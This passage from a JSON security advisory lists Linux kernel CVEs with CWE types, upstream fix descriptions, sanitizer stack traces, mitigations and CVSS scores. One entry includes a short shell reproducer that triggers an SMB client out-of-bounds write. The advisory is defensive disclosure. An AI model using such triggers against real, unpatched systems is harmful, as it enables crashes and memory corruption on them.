__alloc_skb+0x363/0x7b0 net/core/skbuff.c:678\r\n  alloc_skb include/linux/skbuff.h:1322 [inline]\r\n  sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732\r\n  pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867\r\n  sock_sendmsg_nosec net/socket.c:729 [inline]\r\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\r\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\r\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\r\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\r\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\r\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\r\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\r\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\r\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\nCPU: 0 UID: 0 PID: 5460 Comm: syz.2.33 Not tainted 6.12.0-rc2-syzkaller-00006-g87d6aab2389e #0\r\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50033"
    },
    {
      "cve": "CVE-2024-50035",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nppp: fix ppp_async_encode() illegal access\r\n\r\nsyzbot reported an issue in ppp_async_encode() [1]\r\n\r\nIn this case, pppoe_sendmsg() is called with a zero size.\r\nThen ppp_async_encode() is called with an empty skb.\r\n\r\nBUG: KMSAN: uninit-value in ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline]\r\n BUG: KMSAN: uninit-value in ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675\r\n  ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline]\r\n  ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675\r\n  ppp_async_send+0x130/0x1b0 drivers/net/ppp/ppp_async.c:634\r\n  ppp_channel_bridge_input drivers/net/ppp/ppp_generic.c:2280 [inline]\r\n  ppp_input+0x1f1/0xe60 drivers/net/ppp/ppp_generic.c:2304\r\n  pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379\r\n  sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113\r\n  __release_sock+0x1da/0x330 net/core/sock.c:3072\r\n  release_sock+0x6b/0x250 net/core/sock.c:3626\r\n  pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903\r\n  sock_sendmsg_nosec net/socket.c:729 [inline]\r\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\r\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\r\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\r\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\r\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\r\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\r\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\r\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\r\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\nUninit was created at:\r\n  slab_post_alloc_hook mm/slub.c:4092 [inline]\r\n  slab_alloc_node mm/slub.c:4135 [inline]\r\n  kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4187\r\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587\r\n  __alloc_skb+0x363/0x7b0 net/core/skbuff.c:678\r\n  alloc_skb include/linux/skbuff.h:1322 [inline]\r\n  sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732\r\n  pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867\r\n  sock_sendmsg_nosec net/socket.c:729 [inline]\r\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\r\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\r\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\r\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\r\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\r\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\r\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\r\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\r\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\nCPU: 1 UID: 0 PID: 5411 Comm: syz.1.14 Not tainted 6.12.0-rc1-syzkaller-00165-g360c1f1f24c6 #0\r\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50035"
    },
    {
      "cve": "CVE-2024-50039",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnet/sched: accept TCA_STAB only for root qdisc\r\n\r\nMost qdiscs maintain their backlog using qdisc_pkt_len(skb) on the assumption it is invariant between the enqueue() and dequeue() handlers.\r\n\r\nUnfortunately syzbot can crash a host rather easily using a TBF + SFQ combination, with an STAB on SFQ [1]\r\n\r\nWe can\u0027t support TCA_STAB on arbitrary level, this would require to maintain per-qdisc storage.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50039"
    },
    {
      "cve": "CVE-2024-50040",
      "cwe": {
        "id": "CWE-390",
        "name": "Detection of Error Condition Without Action"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: igb: Do not bring the device up after non-fatal error.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50040"
    },
    {
      "cve": "CVE-2024-50044",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nBluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change\r\n\r\nrfcomm_sk_state_change attempts to use sock_lock so it must never be called with it locked but rfcomm_sock_ioctl always attempt to lock it.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50044"
    },
    {
      "cve": "CVE-2024-50045",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: br_netfilter: fix panic with metadata_dst skb.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50045"
    },
    {
      "cve": "CVE-2024-50046",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nNFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()\r\n\r\nOn the node of an NFS client, some files saved in the mountpoint of the NFS server were copied to another location of the same NFS server.\r\nAccidentally, the nfs42_complete_copies() got a NULL-pointer dereference crash.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50046"
    },
    {
      "cve": "CVE-2024-50058",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nserial: protect uart_port_dtr_rts() in uart_shutdown() too\r\n\r\nCommit af224ca2df29 (serial: core: Prevent unsafe uart port access, part 3) added few uport == NULL checks. It added one to uart_shutdown(), so the commit assumes, uport can be NULL in there. But right after that protection, there is an unprotected \"uart_port_dtr_rts(uport, false);\" call. That is invoked only if HUPCL is set, so I assume that is the reason why we do not see lots of these reports.\r\n\r\nOr it cannot be NULL at this point at all for some reason :P.\r\n\r\nUntil the above is investigated, stay on the safe side and move this dereference to the if too.\r\n\r\nI got this inconsistency from Coverity under CID 1585130. Thanks.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50058"
    },
    {
      "cve": "CVE-2024-50095",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nRDMA/mad: Improve handling of timed out WRs of mad agent\r\n\r\nCurrent timeout handler of mad agent acquires/releases mad_agent_priv lock for every timed out WRs. This causes heavy locking contention when higher no. of WRs are to be handled inside timeout handler.\r\n\r\nThis leads to softlockup with below trace in some use cases where rdma-cm path is used to establish connection between peer nodes\r\n\r\n\r\nSimplified timeout handler by creating local list of timed out WRs and invoke send handler post creating the list. The new method acquires/releases lock once to fetch the list and hence helps to reduce locking contetiong when processing higher no. of WRs",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50095"
    },
    {
      "cve": "CVE-2024-50121",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfsd: problematic nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net. In the normal case, when we excute `echo 0 \u003e /proc/fs/nfsd/threads`, the function `nfs4_state_destroy_net` in `nfs4_state_shutdown_net` will release all resources related to the hashed `nfs4_client`.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50121"
    },
    {
      "cve": "CVE-2024-50127",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnet: sched: fix use-after-free in taprio_change()\r\n\r\nIn \u0027taprio_change()\u0027, \u0027admin\u0027 pointer may become dangling due to sched switch / removal caused by \u0027advance_sched()\u0027, and critical section protected by \u0027q-current_entry_lock\u0027 is too small to prevent from such a scenario (which causes use-after-free detected by KASAN). Fix this by prefer \u0027rcu_replace_pointer()\u0027 ver \u0027rcu_assign_pointer()\u0027 to update \u0027admin\u0027 immediately before an attempt to schedule freeing.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50127"
    },
    {
      "cve": "CVE-2024-50131",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ntracing: Consider the NULL character when validating the event length\r\n\r\nstrlen() returns a string length excluding the null byte. If the string length equals to the maximum buffer length, the buffer will have no space for the NULL terminating character.\r\n\r\nThis commit checks this condition and returns failure for it.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50131"
    },
    {
      "cve": "CVE-2024-50134",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA\r\n\r\nReplace the fake VLA at end of the vbva_mouse_pointer_shape shape with a real VLA to fix a \"memcpy: detected field-spanning write error\".\r\n\r\nNote as mentioned in the added comment it seems the original length calculation for the allocated and send hgsmi buffer is 4 bytes too large.\r\nChanging this is not the goal of this patch, so this behavior is kept.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50134"
    },
    {
      "cve": "CVE-2024-50142",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nxfrm: validate new SA\u0027s prefixlen using SA family when sel.family is unset\r\n\r\nThis expands the validation introduced in commit 07bf7908950a (\"xfrm:Validate address prefix lengths in the xfrm selector.\")\r\n\r\nsyzbot created an SA with\r\n    usersa.sel.family = AF_UNSPEC\r\n    usersa.sel.prefixlen_s = 128\r\n    usersa.family = AF_INET\r\n\r\nBecause of the AF_UNSPEC selector, verify_newsa_info doesn\u0027t put limits on prefixlen_{s,d}. But then copy_from_user_state sets x-\u003esel.family to usersa.family (AF_INET). Do the same conversion inverify_newsa_info before validating prefixlen_{s,d}, since that\u0027s howprefixlen is going to be used later on.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50142"
    },
    {
      "cve": "CVE-2024-50148",
      "cwe": {
        "id": "CWE-459",
        "name": "Incomplete Cleanup"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nBluetooth: bnep: fix wild-memory-access in proto_unregister\r\n\r\nAs bnep_init() ignore bnep_sock_init()\u0027s return value, and bnep_sock_init() will cleanup all resource. Then when remove bnep module will call bnep_sock_cleanup() to cleanup sock\u0027s resource.\r\nTo solve above issue just return bnep_sock_init()\u0027s return value in bnep_exit().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50148"
    },
    {
      "cve": "CVE-2024-50150",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nusb: typec: altmode should keep reference to parent\r\n\r\nThe altmode device release refers to its parent device, but without keeping\r\na reference to it.\r\n\r\nWhen registering the altmode, get a reference to the parent and put it in\r\nthe release function.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50150"
    },
    {
      "cve": "CVE-2024-50151",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nsmb: client: fix OOBs when building SMB2_IOCTL request\r\n\r\nWhen using encryption, either enforced by the server or when using\r\n\u0027seal\u0027 mount option, the client will squash all compound request buffers\r\ndown for encryption into a single iov in smb2_set_next_command().\r\n\r\nSMB2_ioctl_init() allocates a small buffer (448 bytes) to hold the\r\nSMB2_IOCTL request in the first iov, and if the user passes an input\r\nbuffer that is greater than 328 bytes, smb2_set_next_command() will\r\nend up writing off the end of @rqst-\u003eiov[0].iov_base as shown below:\r\n\r\n  mount.cifs //srv/share /mnt -o ...,seal\r\n  ln -s $(perl -e \"print(\u0027a\u0027)for 1..1024\") /mnt/link\r\n\r\n  BUG: KASAN: slab-out-of-bounds in\r\n  smb2_set_next_command.cold+0x1d6/0x24c [cifs]\r\n  Write of size 4116 at addr ffff8881148fcab8 by task ln/859",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50151"
    },
    {
      "cve": "CVE-2024-50153",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nscsi: target: core: Fix null-ptr-deref in target_alloc_device()\r\n\r\nThere is a null-ptr-deref issue reported by KASAN:\r\n\r\nBUG: KASAN: null-ptr-deref in target_alloc_device+0xbc4/0xbe0 [target_core_mod]\r\n...\r\n kasan_report+0xb9/0xf0\r\n target_alloc_device+0xbc4/0xbe0 [target_core_mod]\r\n core_dev_setup_virtual_lun0+0xef/0x1f0 [target_core_mod]\r\n target_core_init_configfs+0x205/0x420 [target_core_mod]\r\n do_one_initcall+0xdd/0x4e0\r\n...\r\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\r\n\r\nIn target_alloc_device(), if allocing memory for dev queues fails, then\r\ndev will be freed by dev-\u003etransport-\u003efree_device(), but dev-\u003etransport\r\nis not initialized at that time, which will lead to a null pointer\r\nreference problem.\r\n\r\nFixing this bug by freeing dev with hba-\u003ebackend-\u003eops-\u003efree_device().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50153"
    },
    {
      "cve": "CVE-2024-50188",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: phy: dp83869: fix memory corruption when enabling fiber. When configuring the fiber port, the DP83869 PHY driver incorrectly calls linkmode_set_bit() with a bit mask (1 \u0026lt;\u0026lt; 10) rather than a bit number (10). This corrupts some other memory location -- in case of arm64 the priv pointer in the same structure.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
